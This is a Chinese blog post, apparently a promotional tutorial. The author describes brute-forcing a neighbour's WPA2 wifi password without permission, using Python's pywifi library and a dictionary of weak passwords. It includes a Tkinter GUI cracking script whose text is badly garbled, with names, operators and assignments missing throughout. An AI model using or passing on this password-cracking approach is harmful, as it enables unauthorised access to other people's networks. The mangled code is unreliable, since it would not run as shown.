昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天才能过来。。。 突然发现隔壁妹纸的wifi信号满格哇,这让我动了邪念,看有没有办法蹭下网,首先,用的是万能钥匙,没有成功 那我只能用字典来跑密码了哦,这种小功能,肯定只有交给python来完成了,搜了一下发现pywifi这个组件刚好满足需求。 那下面来记录一下我的操作过程。 简介 私信小编001即可获取大量Python学习资料 Python丰富的第三方库中自然也包括wifi的API,可以很方便的实现wifi的连接。如果有一份详细的密码本,可以实现wifi密码的暴力破解,前提是你有足够的耐心和时间去等待。 思路 对给定的wifi名称,我们循环使用密码去一一做尝试,如果失败就断开连接,直到连接成功为止。 即导入所需要的第三方库(请自行下载安装好),通过pywifi调用网卡接口,依次做测试,循环读取密码尝试连接。在这里只需要修改密码文件路径和wifi名称即可。 环境准备 python2。7pywifi模块字典 导入模块 字典准备 随机搞的wifi弱口令TOP10。一行只包含一组密码,脚本依次读取每行密码,直到找到正确的密码为止。 完整代码 coding:utf8c)labelframe。grid(column0,row0,padx10,pady10)self。Butt,commandself。scanswifilist)。grid(column0,row0)self。Butt,commandself。readPassWord)。grid(column1,row0)self。Label(labelframe,目录路径:)。grid(column0,row1)self。Entry(labelframe,width12,self。getvalue)。grid(column1,row1)self。Butt,commandself。addmmfile)。grid(column2,row1)self。Label(labelframe,WiFi账号:)。grid(column0,row2)self。Entry(labelframe,width12,self。getwifivalue)。grid(column1,row2)self。Label(labelframe,WiFi密码:)。grid(column2,row2)self。Entry(labelframe,width10,self。getwifimmvalue)。grid(column3,row2,stickyW)self。LabelFrame(wifi列表)self。wifilabelframe。grid(column0,row3,columnspan4,stickyNSEW)定义树形结构与滚动条self。ttk。Treeview(self。wifilabelframe,,columns(,,,))self。ttk。Scrollbar(self。wifilabelframe,orientVERTICAL,commandself。wifitree。yview)self。wifitree。c)self。wifitree。column(,width100,)self。wifitree。column(,width100,)self。wifitree。column(,width100,)self。wifitree。heading(,WiFiID)self。wifitree。heading(,SSID)self。wifitree。heading(,BSSID)self。wifitree。heading(,)self。wifitree。grid(row4,column0,stickyNSEW)self。wifitree。bind(,self。)True:try:self。pwdSself。pwdfilehander。readline()print(密码:(self。pwdStr))self。pwdStr:self。bool1self。connect(self。pwdStr,self。getwifissid)print(返回值:(self。bool1))self。bool1:print(密码正确:pwdS密码:正确self。pwdSself。正确wifi名:匹配密码:(self。getwifissid,self。pwdStr)self。getwifimmvalue。set(self。pwdStr)tkinter。messagebox。showinfo(提示,破解成功!!!)print(self。res)else:print(密码:self。pwdS错误)self。错误wifi名:s匹配密码:(self。getwifissid,self。pwdStr)print(self。res)sleep(3)except:对wifi和密码进行匹配connect(self,pwdStr,wifissid):创建wifi链接文件self。pywifi。Profile()self。profile。wifi名称self。profile。const。AUTHALGOPEN网卡的开放self。profile。akm。append(const。AKMTYPEWPA2PSK)wifi加密算法self。profile。P加密单元self。profile。pwdS密码orkprofiles()删除所有的wifi文件self。orkprofile(self。profile)设定新的链接文件self。iface。connect(self。tmpprofile)链接time。sleep(5)self。iface。status()const。IFACECONNECTED:判断是否连接上isOKTelse:isOKFself。iface。disconnect()断开time。sleep(1)检查断开状态self。iface。status()〔const。IFACEDISCONNECTED,const。IFACEINACTIVE〕isOKguistart():Tk()MYGUI(initwindow)print(ui)ui。setinitwindow()ui。scanswifilist()initwindow。mainloop()guistart() 结果 运行结果如下图所示,你按照图形界面的操作,便能开始跑起来了。 你get到了没?